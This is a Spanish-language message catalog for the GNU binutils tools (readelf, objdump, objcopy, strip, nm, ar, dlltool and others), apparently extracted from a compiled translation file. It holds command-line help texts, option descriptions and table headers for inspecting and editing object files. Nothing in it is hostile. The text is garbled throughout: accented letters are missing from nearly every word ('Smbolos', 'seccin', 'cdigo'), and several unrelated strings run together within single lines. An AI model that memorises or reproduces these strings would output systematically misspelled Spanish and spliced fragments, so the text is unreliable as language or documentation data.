Content-Transfer-Encoding: 8bit
	se descartan las opciones de cdigo de pgina.


Smbolos de %s:



Smbolos de %s[%s]:



Smbolos sin definir de %s:



Smbolos sin definir de %s[%s]:


      [Se solicita el intrprete de programa: %s]
    Longitud  de la Direccin

    Long    Direccin

    Desplaz	Nombre

  Inicio de encabezados de programa: 
 Declaraciones de Nmero de Lnea:

 Cdigos de operacin:

 mapeo de Seccin a Segmento:

 La Tabla de Directorios est vaca.

 La Tabla de Directorios:

 La Tabla de Nombres de Fichero est vaca.

 La Tabla de Nombres de Fichero:

 Los siguientes interruptores son opcionales:

%s/%s:

%s:     formato del fichero %s

'%s' la seccin de reubicacin en el desplazamiento 0x%lx contiene %ld bytes:

./%s:[++]

<%s>


ndice del archivo:

Volcado ensamblador de la seccin %s

No se puede obtener el contenido de la seccin '%s'.

No se puede descomprimir la seccin '%s'.

No se puede encontrar la seccin de informacin de desenredo para 
Desensamblado de la seccin %s:

El segmento de informacin dinmica en el desplazamiento 0x%lx contiene %d entradas:

La seccin dinmica en el desplazamiento 0x%lx contiene %u entradas:

La informacin de smbolos dinmicos no est disponible para mostrar los smbolos.

El tipo del fichero elf es %s

Fichero: %s

Volcado hexadecimal de la seccin '%s':

Histograma para la longitud de lista de cubos `.gnu.hash' (total de %lu cubos):

Histograma para la longitud de lista de cubos (total de %lu cubos):

La seccin de lista de bibliotecas '%s' contiene %lu entradas:

No se encontr informacin de versin en este fichero.

Notas en el desplazamiento 0x%08lx con longitud 0x%08lx:

GOT de PLT:

GOT primario:

Encabezados de Programa:

La seccin de reubicacin 
La seccin '%s' contiene %d entradas:

La seccin '%s' no tiene datos para volcar.

La seccin '%s' no tiene datos de depuracin.

La seccin '.conflict' contiene %lu entradas:

Encabezados de Seccin:

Encabezados de Seccin:

Volcado de cadenas de la seccin '%s':

La tabla de smbolos '%s' contiene %lu entradas:

Tabla de smbolos por imagen:

Tabla de smbolos de `.gnu.hash' para la imagen:

La seccin %s est vaca.

Hay %d encabezados de programa, empezando en el desplazamiento 
No hay reubicaciones dinmicas en este fichero.

No hay encabezados de programa en este fichero.

No hay reubicaciones en este fichero.

No hay grupos de seccin en este fichero.

No hay secciones en este fichero.

No hay secciones de desenredo en este fichero.

No hay seccin dinmica en este fichero.

Seccin de desenredo 
La seccin de definicin de versin '%s' contiene %u entradas:

La seccin de requerimientos de versin '%s' contiene %u entradas:

La seccin de smbolos de versin '%s' contiene %d entradas:

direccin de inicio 0x                 TamFichero         TamMemoria          Opts   Alineacin
        <mquina> posibles: arm[_interwork], i386, mcore[-elf]{-le|-be}, ppc, thumb
       %s -M [<guin-mri>]
       Opciones
       Tamao            TamEnt           Opts   Enl   Info  Alin
       Tamao            TamEnt           Info              Alin
       Tipo             Direccin         Despl             Enl
       Tipo            Direc    Desp   Tam    ES   En Inf Al
       Tipo            Direc            Desp   Tam    ES   En Inf Al
      --add-stdcall-underscore Agrega subrayado a los smbolos stdcall en la biblioteca de interfaz.
      --exclude-symbols <list> No exporta la <list>a
      --export-all-symbols   Exporta todos los smbolos a un .def
      --identify-strict      Causa que --identify reporte error con DLLs mltiples.
      --no-default-excludes  Limpia los smbolos excludos por defecto
      --no-export-all-symbols  Slo exporta los smbolos enlistados
      --plugin NOMBRE    Carga el plugin especificado
      --use-nul-prefixed-import-tables Usa idata$4 e idata$5 con prefijo cero.
     --yydebug                 Activa el decodificador de depuracin
    %-18s %s
    Desplaz            Info             Tipo               Valor Smbolo  Nombre Smbolo
    Desplaz            Info             Tipo               Valor Smbolo  Nombre Smbolo + Adend
    Desplaz  Inicio   Fin
    Desplaz  Inicio   Fin      Expresin
   %d	   %ld      %s    [%s]
   --add-indirect         Agrega indirecciones de dll al fichero de exportacin.
   --add-stdcall-alias    Agrega aliases sin @<n>
   --as <nombre>          Usa <nombre> como ensamblador
   --base-file <fichbase> Lee el fichero base generado por el enlazador
   --def <ficherodef>     Nombre del fichero .def de entrada
   --dllname <nombre>     Nombre del fichero dll de entrada a colocar en la biblioteca de salida.
   --dlltool-name <dlltool> Por defecto es "dlltool"
   --driver-flags <opts>  Cambia las opciones por defecto de ld
   --driver-name <cntrl>  Por defecto es "gcc"
   --dry-run              Muestra lo que se necesita ejecutar
   --entry <entrada>      Especifica un punto de entrada alternativo para la DLL
   --exclude-symbols <list> Excluye la <list>a del .def
   --export-all-symbols     Exporta todos los smbolos a un .def
   --image-base <base>    Especifica la direccin de la imagen base
   --impllib <nombresal>  Sinnimo para --output-lib
   --machine <mquina>
   --mno-cygwin           Crea una DLL Mingw
   --no-default-excludes    Elimina los smbolos excludos por defecto
   --no-export-all-symbols  Slo exporta los smbolos .drectve
   --no-idata4           No genera la seccin idata$4
   --no-idata5           No genera la seccin idata$5
   --nodelete             Conserva los ficheros temporales.
   --output-def <fichdef> Nombre del fichero .def de salida
   --output-exp <nomsal>  Genera un fichero de exportacin.
   --output-lib <nomsal>  Genera una biblioteca de entrada.
   --quiet, -q            Trabaja silenciosamente
   --target <mquina>     i386-cygwin32  i386-mingw32
   --verbose, -v          Con detalle
   --version              Muestra la versin de dllwrap
   -A --add-stdcall-alias    Agrega aliases sin @<n>.
   -C --compat-implib        Crea biblioteca de importacin compatible hacia atrs.
   -D --dllname <nombre>     Nombre de la dll de entrada a colocar en la biblioteca de interfaz.
   -F --linker-flags <opts>  Pasa <opts> al enlazador.
   -I --identify <libimp>    Reporta el nombre de la DLL asociada con <libimp>.
   -L --linker <nombre>      Usa <nombre> como el enlazador.
   -M --mcore-elf <nomsal>   Procesa los ficheros objeto mcore-elf hacia <nomsal>.
   -S --as <nombre>          Usa el <nombre> para ensamblador.
   -U                     Agrega subrayados a .lib
   -U --add-underscore       Agrega subrayado a todos los smbolos en la biblioteca de interfaz.
   -V --version              Muestra la versin del programa.
   -a --add-indirect         Agrega indirecciones dll al fichero de exportacin.
   -b --base-file <fichbase> Lee el fichero base generado por el enlazador.
   -c --no-idata5            No genera la seccin idata$5.
   -d --input-def <fichdef>  Nombre del fichero .def para leer.
   -e --output-exp <nomsal>  Genera un fichero de exportacin.
   -f --as-flags <opciones>  Pasa <opciones> al ensamblador.
   -h --help                 Muestra esta informacin.
   -k                     Elimina @<n> de los nombres exportados
   -k --kill-at              Elimina @<n> de los nombres exportados.
   -l --output-lib <nomsal>  Genera una biblioteca de interfaz.
   -m --machine <mquina>    Crea una DLL para la <mquina>.  [por defecto: %s]
   -n --no-delete            Conserva los ficheros temporales (repetir para conservacin extra).
   -p --ext-prefix-alias <prefijo> Agrega aliases con <prefijo>.
   -t --temp-prefix <prefijo> Usa el <prefijo> para construir nombres de ficheros temporales.
   -v --verbose              Detallado.
   -x --no-idata4            No genera la seccin idata$4.
   -y --output-delaylib <nomsal>  Genera una biblioteca de retraso de importacin.
   -z --output-def <fichdef> Nombre del fichero .def para crear.
   0 (*local*)       1 (*global*)      @<fichero>                Lee opciones del <fichero>.
   @<fichero>             Lee opciones del <fichero>
   Desplaz Abrev: %ld
   Longitud:      0x%lx (%s)
   Num:    Valor          Tam  Tipo    Unin  Vis      Nombre Ind
   Num:    Valor  Tam  Tipo    Unin  Vis      Nombre Ind
   Tamao de Puntero: %d
   Versin:       %d
   [ndice]   Nombre
  %#06x:   ndice de nombres: %lx  %#06x:   Nombre: %s  %#06x: Padre %d, ndice de nombres: %ld
  %#06x: Padre %d: %s
  %#06x: Rev: %d  Opts: %s  %#06x: Versin: %d  %*s %*s %*s %-7s %3s %s
  %*s %*s Propsito
  %*s %10s %*s
  %*s %10s %*s %*s %-7s %3s %s
  %*s %10s %*s Propsito
  %d	  %s
  (Inicia en el desplazamiento de fichero: 0x%lx)  (Valor desconocido de atributo inline: %lx)  --plugin <nombre>            Carga el plugin especificado
  --plugin <p> - carga el plugin especificado
  -H --help                    Muestra este mensaje de ayuda
  -v --verbose                 Detalle - dice lo que est haciendo
  -V --version                 Muestra la informacin de versin
  -I --histogram         Muestra un histograma de longitudes de la lista de
                         cubetas
  -W --wide              Permite que el ancho de la salida exceda 80 caracteres
  @<fichero>             Lee opciones del <fichero>
  -H --help              Muestra esta informacin
  -v --version           Muestra el nmero de versin de readelf
  -I --input-target <nombrebfd>    Asume que el fichero de entrada est en
                                    el formato <nombrebfd>
  -O --output-target <nombrebfd>   Crea un fichero de salida en el formato
                                    <nombrebfd>
  -B --binary-architecture <arch>  Establece la arquitectura del fichero de
                                    salida, cuando la entrada es binaria
  -F --target <nombrebfd>          Establece tanto el formato de salida como
                                    el de entrada a <nombrebfd>
     --debugging                   Convierte la informacin de depuracin, si
                                    es posible
  -p --preserve-dates              Copia las marcas de tiempo de modificacin y
                                    acceso a la salida
  -j --only-section <nombre>       Slo copiar la seccin <nombre> en la salida
     --add-gnu-debuglink=<fich>    Agrega la seccin de enlazado .gnu_debuglink
                                    al <fich>ero
  -R --remove-section <nombre>     Borra la seccin <nombre> de la salida
  -S --strip-all                   Borra todos los smbolos y la informacin de
                                    reubicacin
  -g --strip-debug                 Borra todos los smbolos y secciones de
                                   depuracin
     --strip-unneeded              Borra todos los smbolos innecesarios para
                                    las reubicaciones
  -N --strip-symbol <nombre>       No copia el smbolo <nombre>
     --strip-unneeded-symbol <nombre>
                                   No copia el smbolo <nombre> a menos que sea
                                    necesario para las reubicaciones
     --only-keep-debug             Borra todo excepto la informacin de
                                    depuracin
     --extract-symbol              Borra los contenidos de la seccin pero
                                    conserva los smbolos
  -K --keep-symbol <nombre>        No borra el smbolo <nombre>
     --keep-file-symbols           No borra los smbolos de fichero
     --localize-hidden             Convierte todos los smbolos ocultos ELF
                                    en locales
  -L --localize-symbol <nom>       Fuerza que el smbolo <nom> se marque como
                                    local
     --globalize-symbol <nom>      Fuerza que el smbolo <nom> se marque como
                                    global
  -G --keep-global-symbol <nom>    Vuelve locales todos los smbolos excepto
                                    <nom>
  -W --weaken-symbol <nom>         Fuerza que el smbolo <nom> se marque como
                                    dbil
     --weaken                      Fuerza que todos los smbolos se marquen como
                                    dbiles
  -w --wildcard                    Permite comodines en la comparacin de
                                    smbolos
  -x --discard-all                 Borra todos los smbolos que no son globales
  -X --discard-locals              Borra cualquier smbolo generado por el
                                    compilador
  -i --interleave <num>            Slo copia uno de cada <num> bytes
  -b --byte <num>                  Selecciona el byte <num> en cada bloque
                                    espaciado
     --gap-fill <val>              Rellena los huecos entre secciones con <val>
     --pad-to <direccin>          Rellena la ltima seccin hasta
                                    la <direccin>
     --set-start <direccin>       Establece la direccin de inicio en
                                    <direccin>
    {--change-start|--adjust-start} <incr>
                                   Agrega <incr> a la direccin de inicio
    {--change-addresses|--adjust-vma} <incr>
                                   Agrega <incr> a las direcciones LMA, VMA y
                                    la de inicio
    {--change-section-address|--adjust-section-vma} <nombre>{=|+|-}<val>
                                   Cambia el LMA y el VMA de la seccin
                                    <nombre> por <val>
     --change-section-lma <name>{=|+|-}<val>
                                   Cambia LMA de la seccin <nombre> por <val>
     --change-section-vma <name>{=|+|-}<val>
                                   Cambia VMA de la seccin <nombre> por <val>
    {--[no-]change-warnings|--[no-]adjust-warnings}
                                   Avisa si no existe una seccin nombrada
     --set-section-flags <nombre>=<opciones>
                                   Establece las propiedades de la seccin
                                   <nombre> a <opciones>
     --add-section <nombre>=<fichero>
                                   Agrega la seccin <nombre> que se encuentra
                                    en el <fichero> a la salida
     --rename-section <ant>=<nvo>[,<opts>] Renombra la seccin <ant> a <nvo>
     --long-section-names {enable|disable|keep}
                                   Maneja los nombres de seccin largos en
                                    objetos Coff.
     --change-leading-char         Fuerza el carcter de estilo inicial en
                                   el formato de salida
     --remove-leading-char         Borra el carcter inicial de los smbolos
                                   globales
     --reverse-bytes=<num>         Invierte <num> bytes a la vez, en la
                                   seccin de salida con contenido
     --redefine-sym <ant>=<nvo>    Redefine el nombre de smbolo <ant> a <nvo>
     --redefine-syms <fichero>     --redefine-sym para todos los pares de
                                    smbolos enlistados en el <fichero>
     --srec-len <nmero>           Restringe la longitud de los Srecords
                                    generados
     --srec-forceS3                Restringe el tipo de los Srecords generados
                                    a S3
     --strip-symbols <fichero>     -N para todos los smbolos enlistados en el
                                    <fichero>
     --strip-unneeded-symbols <fichero>
                                   --strip-unneeded-symbol para todos los
                                    smbolos enlistados en el <fichero>
     --keep-symbols <fichero>      -K para todos los smbolos enlistados en el
                                    <fichero>
     --localize-symbols <fichero>  -L para todos los smbolos enlistados en el
                                    <fichero>
     --globalize-symbols <fichero> --globalize-symbol para todos los smbolos
                                    en el <fichero>
     --keep-global-symbols <fichero>
                                   -G para todos los smbolos enlistados en el
                                    <fichero>
     --weaken-symbols <fichero>    -W para todos los smbolos enlistados en el
                                    <fichero>
     --alt-machine-code <ndice>   Utiliza cdigo mquina alternativo para la
                                    salida
     --writable-text               Marca el texto de salida como modificable
     --readonly-text               Marca el texto de salida como protegido
                                    contra escritura
     --pure                        Marca el fichero de salida como paginado en
                                    demanda
     --impure                      Marca el fichero de salida como impuro
     --prefix-symbols <prefijo>    Agrega <prefijo> al inicio de cada nombre de
                                    smbolo
     --prefix-sections <prefijo>   Agrega <prefijo> al inicio de cada nombre de
                                    seccin
     --prefix-alloc-sections <prefijo>
                                   Agrega <prefijo> al inicio de cada nombre de
                                    seccin alojable
     --file-alignment <num>        Define la alineacion del fichero PE a <num>
     --heap <reserva>[,<confirma>] Define el cmulo reserva/confirma de PE a
                                   <reserva>/<confirma>
     --image-base <direccin>      Define la imagen base de PE a <direccin>
     --stack <reserva>[,<confirma>] Define la pila reserva/confirma de PE a
                                    <reserva>/<confirma>
     --subsystem <nombre>[:<versin>]
                                    Define el subsistema PE a <nombre>
                                     [y <versin>]
  -v --verbose                     Enlista todos los ficheros objeto modificados
  @<fichero>                       Lee opciones del <fichero>
  -V --version                     Muestra el nmero de versin de este programa
  -h --help                        Muestra esta salida
     --info                        Enlista los formatos objeto y arquitecturas
                                    que se admiten
  -I --input-target=<nombrebfd>    Asume que el fichero de entrada est en
                                   el formato <nombrebfd>
  -O --output-target=<nombrebfd>   Crea un fichero de salida en el formato
                                   <nombrebfd>
  -F --target <nombrebfd>          Establece tanto el formato de salida como
                                   el de entrada a <nombrebfd>
  -p --preserve-dates              Copia las marcas de tiempo de modificacin
                                   y acceso a la salida
  -R --remove-section=<nombre>     Borra la seccin <nombre> de la salida
  -s --strip-all                   Borra todos los smbolos y la informacin
                                   de reubicacin
  -g -S -d --strip-debug           Borra todos los smbolos y secciones de
                                   depuracin
     --strip-unneeded              Borra todos los smbolos innecesarios para
                                   las reubicaciones
     --only-keep-debug             Borra todo excepto la informacin de
                                   depuracin
  -N --strip-symbol=<nombre>       No copia el smbolo <nombre>
  -K --keep-symbol=<nombre>        No borra el smbolo <nombre>
     --keep-file-symbols           No borra los smbolos de fichero
  -w --wildcard                    Permite comodines en la comparacin de
                                   smbolos
  -x --discard-all                 Borra todos los smbolos que no son globales
  -X --discard-locals              Borra cualquier smbolo generado por
                                   el compilador
  -v --verbose                     Enlista todos los ficheros objeto modificados
  -V --version                     Muestra el nmero de versin de este programa
  -h --help                        Muestra esta salida
     --info                        Muestra los formatos objeto y arquitecturas
                                   admitidos
  -o <fichero>                     Coloca la salida limpia en el <fichero>
  -S, --print-size       Muestra el tamao de los smbolos definidos
		  -s, --print-armap      Incluye el ndice para smbolos de los miembros de archivo
      --size-sort        Ordena los smbolos por tamao
      --special-syms     Incluye los smbolos especiales en la salida
      --synthetic        Muestra tambin los smbolos sintticos
  -t, --radix=RADICAL    Usa el RADICAL para mostrar valores de smbolo
      --target=NOMBREBFD Especifica el formato de objeto objetivo como NOMBREBFD
  -u, --undefined-only   Slo muestra los smbolos sin definir
  -X 32_64               (se descarta)
  @FICHERO               Lee opciones del FICHERO
  -h, --help             Muestra esta informacin
  -V, --version          Muestra el nmero de versin de este programa

  -a, --archive-headers    Muestra informacin del encabezado del archivo
  -f, --file-headers       Muestra el contenido de todos los encabezados del
                           fichero
  -p, --private-headers    Muestra el contenido del encabezado del fichero
                           especficos del formato objeto
  -h, --[section-]headers  Muestra el contenido de los encabezados de seccin
  -x, --all-headers        Muestra el contenido de todos los encabezados
  -d, --disassemble        Muestra el contenido de ensamblador de las secciones
                           ejecutables
  -D, --disassemble-all    Muestra el contenido de ensamblador de todas las
                           secciones
  -S, --source             Intermezclar cdigo fuente con el desensamblado
  -s, --full-contents      Muestra el contenido completo de todas las secciones
                            solicitadas
  -g, --debugging          Muestra la informacin de depuracin en el fichero
                            objeto
  -e, --debugging-tags     Muestra la informacin de depuracin en estilo ctags
  -G, --stabs              Muestra (sin formato) cualquier informacin de STABS
                            en el fichero
  -W[lLiaprmfFsoR] o
  --dwarf[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=str,=loc,=Ranges]
                           Muestra la informacin DWARF en el fichero
  -t, --syms               Muestra el contenido de la(s) tabla(s) de smbolos
  -T, --dynamic-syms       Muestra el contenido de la tabla de smbolos
                            dinmicos
  -r, --reloc              Muestra las entradas de reubicacin en el fichero
  -R, --dynamic-reloc      Muestra las entradas de reubicacin dinmica en el
                            fichero
  @<fichero>               Lee opciones del <fichero>
  -v, --version            Muestra el nmero de versin de este programa
  -i, --info               Enlista los formatos objeto y las arquitecturas
                            admitidos
  -H, --help               Muestra esta informacin
  -b, --target=NOMBREBFD         Especifica el formato objeto objetivo
                                  como NOMBREBFD
  -m, --architecture=MQUINA     Especifica la arquitectura objetivo
                                  como MQUINA
  -j, --section=NOMBRE           Slo muestra la informacin de
                                  la seccin NOMBRE
  -M, --disassembler-options=OPT Pasa el texto OPT al desensamblador
  -EB --endian=big               Asume el formato big endian al desensamblar
  -EL --endian=little            Asume el formato little endian al desensamblar
      --file-start-context       Incluye el contexto del inicio del fichero
                                  (con -S)
  -I, --include=DIR              Agrega el DIRectorio a la lista de bsqueda de
                                  ficheros fuente
  -l, --line-numbers             Incluye los nmeros de lnea y los nombres de fichero
                                  en la salida
  -F, --file-offsets             Incluye desplazamientos de fichero al mostrar
                                  la informacin
  -C, --demangle[=ESTILO]        Decodifica los nombres de smbolo obtenidos/procesados
                                  El ESTILO, si se especifica, puede ser
                                  `auto', 'gnu', `lucid', `arm', `hp', `edg',
                                  `gnu-v3', `java' o `gnat'
  -w, --wide                     Da formato a la salida para ms de 80 columnas
  -z, --disassemble-zeroes       No salta los bloques de ceros al desensamblar
      --start-address=DIR        Slo procesa los datos cuya direccin es
                                  >= DIR
      --stop-address=DIR         Slo procesa los datos cuya direccin es
                                  <= DIR
      --prefix-addresses         Muestra las direcciones completas a lo largo
                                  del desensamblado
      --[no-]show-raw-insn       Muestra en hexadecimal a lo largo
                                  del desensamblado simblico
      --insn-width=ANCHO         Muestra ANCHO bytes en una sola lnea con -d
      --adjust-vma=DESPL         Agrega el DESPLazamiento a todas las direcciones
                                  mostradas de seccin
      --special-syms             Incluye smbolos especiales en los volcados de
                                  smbolos
      --prefix=PREFIJO           Agrega el PREFIJO a las rutas absolutas con -S
      --prefix-strip=NIVEL       Descarta los nombres de directorio iniciales
                                  con -S
  -i --instruction-dump=<nmero|nombre>
                         Desensambla el contenido de la seccin <nmero|nombre>
 Las opciones son:
  -r                           Se descarta por compatibilidad con rc
  @<fichero>                   Lee opciones del <fichero>
  -h --help                    Muestra este mensaje de ayuda
  -V --version                 Muestra la informacin de versin
  -t                           Actualiza la marca de tiempo del mapa de
                               smbolos del archivo
  -h --help                    Muestra este mensaje de ayuda
  -V --version                 Muestra la informacin de versin
  @<fichero>   - lee opciones del <fichero>
  Versin ABI:                       %d
  Dir: 0x  Lnea de Avance por %d para %d
  Avanzar el PC por %lu para %lx
  Avanza el PC por la constante %lu a 0x%lx
  Avanza el PC por la cantidad de tamao fijo %lu a 0x%lx
  Clase:                             %s
  Cnt: %d
  Unidad de Compilacin @ desplazamiento 0x%lx:
  Copiar
  Versin DWARF:               %d
  DW_CFA_??? (Op de marco de llamada definido por el usuario: %#x)
  Datos:                             %s
  Entr	Dir	Hora	Tam	Nombre
  Direccin del punto de entrada:      Cdigo de operacin extendido %d:   Fichero: %lx  Fichero: %s  Opciones  Opciones:                          0x%lx%s
  Opts: %s  Versin: %d
  Opciones genricas:
  Ind: %d  Cnt: %d    Valor inicial de 'is_stmt':  %d
  Longitud:                            %ld
  Longitud:                    %ld
  Longitud:                 %ld
  Base Lnea:                  %d
  Rango Lnea:                 %d
  Mquina:                           %s
  Mgico:    Longitud Mnima Instruccin: %d
  No hay opciones especficas de la emulacin
  No se encontraron cadenas en esta seccin. Nota: Esta seccin tiene reubicaciones contra ella, pero NO se han aplicado a este volcado.
  Num Cub:    Valor          Tamao Typo   Uni  Vis      Nombre Ind
  Num Cub:    Valor  Tamao Tipo   Uni  Vis      Nombre Ind
  Num:    ndice      Valor  Nombre  Nmero TAG
  Nmero de encabezados de programa: %ld
  Nmero de encabezados de seccin:  %ld  OS/ABI:                            %s
  Desplaz         Info           Tipo           Val. Smbolo  Nom. Smbolo
  Desplaz         Info           Tipo           Val. Smbolo  Nom. Smbolo + Adend
  Desplazamiento en secc .debug_info:  0x%lx
  Desplaz. en .debug_info:  0x%lx
  Longitud:                    0x%lx
   Despl: %#08lx   Enl: %u (%s)
  El cdigo de operacin %d tiene %d argumentos
  Base de Cdigo de Operacin: %d
  Opciones para %s:
  Opciones pasadas a DLLTOOL:
  Prop		Tamao datos	Descripcin
  Pg  Tamao del Puntero:       %d
  Longitud del Prlogo:        %d
  El resto se pasa sin modificacin al controlador del lenguaje
  ndice de tabla de cadenas de seccin de encabezado: %ld  Segmento Secciones...
  Tamao del Segmento:      %d
  Establece el Nombre de Fichero para la entrada %d en la Tabla de Nombres de Fichero
  Establece ISA a %lu
  Establece el bloque bsico
  Establece la columna a %lu
  Establece epilogue_begin a true
  Establece is_stmt a %d
  Establece prologue_end a true
  Tamao de rea en secc .debug_info:  %ld
  Tamao de encabezados de programa: %ld (bytes)
  Tamao de encabezados de seccin:  %ld (bytes)
  Tamao de este encabezado:         %ld (bytes)
  cdigo de Operacin especial %d: Direccin de avance por %lu a 0x%lx  Marca      Tipo                         Nombre/Valor
  Tipo           Desplazamiento     DirVirtual         DirFsica
  Tipo           Desplaz  DirVirt            DirFsica          TamFich  TamMem   Opt Alin
  Tipo           Desplaz  DirVirt    DirFsica  TamFich TamMem  Opt Alin
  Tipo:                              %s
  Cdigo de operacin desconocido %d con los operandos:   Versin def aux despus del final de la seccin
  Definicin de versin despus del final de la seccin
  Aux de requerimientos de versin despus del final de la seccin
  Requerimientos de versin despus del final de la seccin
  Versin:                             %d
  Versin:                           %d %s
  Versin:                           0x%lx
  Versin:                  %d
  [-X32]       - descarta los objetos de 64 bit
  [-X32_64]    -acepta objetos de 32 y 64 bit
  [-X64]       - descarta los objetos de 32 bit
  [-g]         - archivo small de 32 bit
  [D]          - utiliza cero para marcas de tiempo y uids/gids
  [N]          - usa la instancia [cuenta] del nombre
  [Nr] Nombre
  [Nr] Nombre            Tipo             Direccin         Despl
  [Nr] Nombre            Tipo            Direc    Desp   Tam    ES Opt En Inf Al
  [Nr] Nombre            Tipo            Direc            Desp   Tam    ES Opt En Inf Al
  [P]          - utiliza nombres completos de ruta cuando se buscan coincidencias
  [S]          - no construye una tabla de smbolos
  [T]          - hace un archivo delgado
  [V]          - muestra el nmero de versin
  [a]          - coloca fichero(s) despes de [nombre-miembro]
  [b]          - coloca fichero(s) antes de [nombre-miembro] (igual que [i])
  [c]          - no avisa si se tiene que crear la biblioteca
  [f]          - trunca los nombres de fichero insertados
  [o]          - conserva las fechas originales
  [s]          - crea un ndice del archivo (cf. ranlib)
  [u]          - slo reemplaza ficheros que sean ms nuevos que el contenido actual del archivo
  [v]          - detallado
  d            - borra fichero(s) del archivo
  define la nueva entrada en la Tabla de Ficheros
  m[ab]        - mueve fichero(s) en el archivo
  p            - muestra fichero(s) encontrados en el archivo
  q[f]         - agrega rpidamente fichero(s) al archivo
  r[ab][f][u]  - reemplaza fichero(s) existente(s) o inserta fichero(s) nuevo(s) en el archivo
  t            - muestra los contenidos del archivo
  x[o]         - extrae fichero(s) del archivo
 bloque de bytes %lu:  (%s)
 (Desplazamiento Fichero: 0x%lx) (bytes en el fichero)
  (bytes en el fichero)
  Inicio de encabezados de seccin:   (cadena indirecta, desplazamiento 0x%lx): %s (inicio == final) (inicio > final) <%d><%lx>: Nmero de Abrev: %lu Dir:  Dir: 0x Se descarta el argumento %sSe requiere por lo menos una de los siguientes opciones:
 Valor gp cannico:  Convierte direcciones en pares de nombre nmero/fila.
Convierte un fichero objeto en un Mdulo Cargable de NetWare (NLM)
 Copia un fichero binario, posiblemente transformndolo en el proceso
 DW_MACINFO_define - numlinea : %d macro : %s
 DW_MACINFO_end_file
 DW_MACINFO_start_file - numlinea: %d numfichero: %d
 DW_MACINFO_undef - numlinea : %d macro : %s
 DW_MACINFO_vendor_ext - constante : %d cadena : %s
 Muestra informacin sobre el contenido de los ficheros de formato ELF
Muestra la informacin de <fichero(s)> objeto.
 Muestra las cadenas imprimibles en [fichero(s)] (por defecto entrada estndar)
 Muestra los tamaos de las secciones dentro de los ficheros binarios
 Entradas:
 Genera un ndice para acelerar el acceso a los archivos
 Entradas globales:
 Si no se especifican direcciones en la lnea de rdenes, se leern de la entrada estndar
Si no se especifica(n) fichero(s) de salida, se asume a.out
 Long    Nmero     %% del total Cobertura
Lista de smbolos en [fichero(s)] (a.out por defecto).
 Entradas locales
 NOTA: Esta seccin tiene reubicaciones contra ella, pero NO se han aplicado a este volcado.
 Ninguna
 Num: Nombre                         EnlaceA     Opts
 Desplaz    Info    Tipo                Val. Smbolo Nombre Smbolo
 Desplaz    Info    Tipo                Val. Smbolo Nombre Smbolo + Adend
 Desplaz    Info    Tipo            Val.Smbolo Nom. Smbolo
 Desplaz    Info    Tipo            Val.Smbolo Nom.Smbolo + Adend
 Las opciones son:
  -a --all               Equivalente a: -h -l -S -s -r -d -V -A -I
  -h --file-header       Muestra el encabezado del fichero ELF
  -l --program-headers   Muestra los encabezados del programa
     --segments          Un alias para --program-headers
  -S --section-headers   Muestra el encabezado de las secciones
     --sections          Un alias para --section-headers
  -g --section-groups    Muestra los grupos de seccin
  -t --section-details   Muestra los detalles de seccin
  -e --headers           Equivalente a: -h -l -S
  -s --syms              Muestra la tabla de smbolos
      --symbols          Un alias para --syms
  -n --notes             Muestra las notas de ncleo (si estn presentes)
  -r --relocs            Muestra las reubicaciones (si estn presentes)
  -u --unwind            Muestra la informacin de desenredo (si est presente)
  -d --dynamic           Muestra la seccion dinmica (si est presente)
  -V --version-info      Muestra las secciones de versin (si estn presentes)
  -A --arch-specific     Muestra la informacin especfica de la arquitectura
                          (si hay alguna).
  -c --archive-index     Muestra el ndice de smbolos/ficheros en un archivo
  -D --use-dynamic       Usa la informacin de la seccin dinmica cuando
                          muestra smbolos
  -x --hex-dump=<nmero|nombre>
                         Vuelca el contenido de la seccin <nmero|nombre>
                          como bytes
  -p --string-dump=<nmero|nombre>
                         Vuelca el contenido de la seccin <nmero|nombre>
                          como cadenas
  -R --relocated-dump=<nmero|nombre>
                         Vuelca el contenido de la seccin <nmero|nombre>
                          como bytes reubicados
  -w[lLiaprmfFsoR] 
  --debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=str,=loc,=Ranges]
                         Muestra el contenido de las secciones de depuracin
                         DWARF2
 Muestra una interpretacin legible por humanos de un fichero objeto SYSROFF
 Remueve smbolos y secciones de los ficheros
 Entradas reservadas:
  Las opciones son:
 Las opciones son:
  -A|-B     --format={sysv|berkeley}  Selecciona el estilo de salida
                                      (por defecto es %s)
  -o|-d|-x  --radix={8|10|16}         Muestra los nmeros en octal, decimal o
                                      hexadecimal
  -t        --totals                  Muestra los tamaos totales
                                      (slo Berkeley)
            --common                  Muestra el tamao total de los smbolos
                                      *COM*
            --target=<nombrebfd>      Establece el formato del fichero binario
            @<fichero>                Lee opciones del <fichero>
  -h        --help                    Muestra esta informacin
  -v        --version                 Muestra la versin del programa

 Las opciones son:
  -I --input-target=<nombrebfd>  Establece el formato del fichero binario de entrada
  -O --output-target=<nombrebfd> Establece el formato del fichero binario de salida
  -T --header-file=<fichero>     Lee el <fichero> para la informacin del encabezado NLM
  -l --linker=<enlazador>        Usa el <enlazador> para cualquier enlazado
  -d --debug                     Muestra en salida estndar la lnea de comando del enlazador
  @<fichero>                     Lee opciones del <fichero>.
  -h --help                      Muestra esta informacin
  -v --version                   Muestra la versin del programa
 Las opciones son:
  -a - --all                Revisa el fichero completo, no slo la seccin de
                             datos
  -f --print-file-name      Muestra el nombre de fichero antes de cada cadena
  -n --bytes=[nmero]       Localiza y muestra cualquier secuencia terminada en
  -<nmero>                  NUL de por lo menos [nmero] caracteres
                             (4 por defecto).
  -t --radix={o,d,x}        Muestra la ubicacin de la cadena en base 8, 10  16
  -o                        Un alias para --radix=o
  -T --target=<NOMBREBFD>   Especifica el formato de fichero binario
  -e --encoding={s,S,b,l,B,L} Selecciona tamao del carcter y "endianez":
                            s = 7-bit, S = 8-bit, {b,l} = 16-bit, {B,L} = 32-bit
  @<fichero>                Lee opciones del fichero
  -h --help                 Muestra esta informacin
  -v -V --version           Muestra el nmero de versin del programa
Las opciones son:
  -a --ascii_in                Lee el fichero de entrada como fichero ASCII
  -A --ascii_out               Escribe los mensajes binarios como ASCII
  -b --binprefix               Se agrega al nombre de fichero .bin el prefijo fichero_ .mc para singularidad.
  -c --customflag              Define las opciones particulares para los mensajes
  -C --codepage_in=<val>       Define el cdigo de pgina para leer el fichero de texto mc
  -d --decimal_values          Guarda los valores a ficheros de textos decimales
  -e --extension=<extensin>   Establece la extensin del encabezado a usar en la exportacin del fichero de encabezado
  -F --target <objetivo>       Especifica el objetivo de salida por `endianez'
